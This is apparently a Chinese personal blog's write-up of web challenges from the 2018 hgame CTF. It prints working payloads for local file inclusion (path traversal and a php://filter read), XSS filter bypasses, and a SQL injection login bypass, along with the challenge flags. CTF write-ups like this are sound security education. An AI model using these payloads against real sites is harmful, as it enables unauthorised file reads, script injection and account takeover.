V0W's Blog

2018-hgame CTF week2

字数统计: 384阅读时长: 2 min
2018/01/08 Share

草莓社区-1

描述
flag在../flag.php中
知识点:LFI
URL http://118.25.18.223:10011/
基准分数 100
当前分数 100
完成人数 118

提示很清楚,简单的本地包含:
payload: http://118.25.18.223:10011/show_maopian.php?mao=../flag.php
mark
一开始以为不对,F12找了源文件,发现flag的base64码。解得:

1
2
3
>>> import base64
>>> base64.b64decode("PD9waHAKCSRmbGFnPSJoZ2FtZXsjTWEwX3BpNG5faGFPX2s0bl9tYSN9IjsK")
b'<?php\n\t$flag="hgame{#Ma0_pi4n_haO_k4n_ma#}";\n'

草莓社区- 2

描述
flag在../flag.php中
知识点:LFI
URL http://118.25.18.223:10012/
基准分数 150
当前分数 150
完成人数 103

和上一题肯定不一样咯。试了试

1
http://118.25.18.223:10012/show_maopian.php?mao=php://filter/read=convert.base64-encode/resource=show_maopian.php

读取php。发现可行。

读取../flag.php试试。
mark

1
2
3
4
>>> base64.b64decode("UEQ5d2FIQUtDU1JtYkdGblBTSm9aMkZ0WlhzaGJUUnZYM0JwTkc1ZlEyaGhUMTlvWVc5ZmEyRnVJWDBpT3dvPQ==")
b'PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo='
>>> base64.b64decode("PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo=")
b'<?php\n\t$flag="hgame{!m4o_pi4n_ChaO_hao_kan!}";\n'

xss-1

1
2
3
4
5
6
7
function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');

return '<article>' + input + '</article>';
}

/gi 忽略大小写,全文匹配。
过滤了srcipt,image,( 。
于是想用错误事件。
payload:

1
<img src=x  onerror=alert(1);>

flag: hgame

XSS-2

1
2
3
4
5
6
7
8
function charge(input) { 
input = input.replace(/script/gi, '_');
input = input.replace(/img/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
input = input.replace(/\>/,'_');
return '<input value="' + input + '" type="text">';
}

过滤了script, img, image, (, >,
我一看想着,直接用Unicode算了。
payload:

1
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;

flag: hgame

最简单的sql题

太简单了,直接万能密码就行:

1
admin' or 1=1 --

flag: hgame{@s0ng_fen_ti@}

CATALOG
  1. 1. 草莓社区-1
  2. 2. 草莓社区- 2
  3. 3. xss-1
  4. 4. XSS-2
  5. 5. 最简单的sql题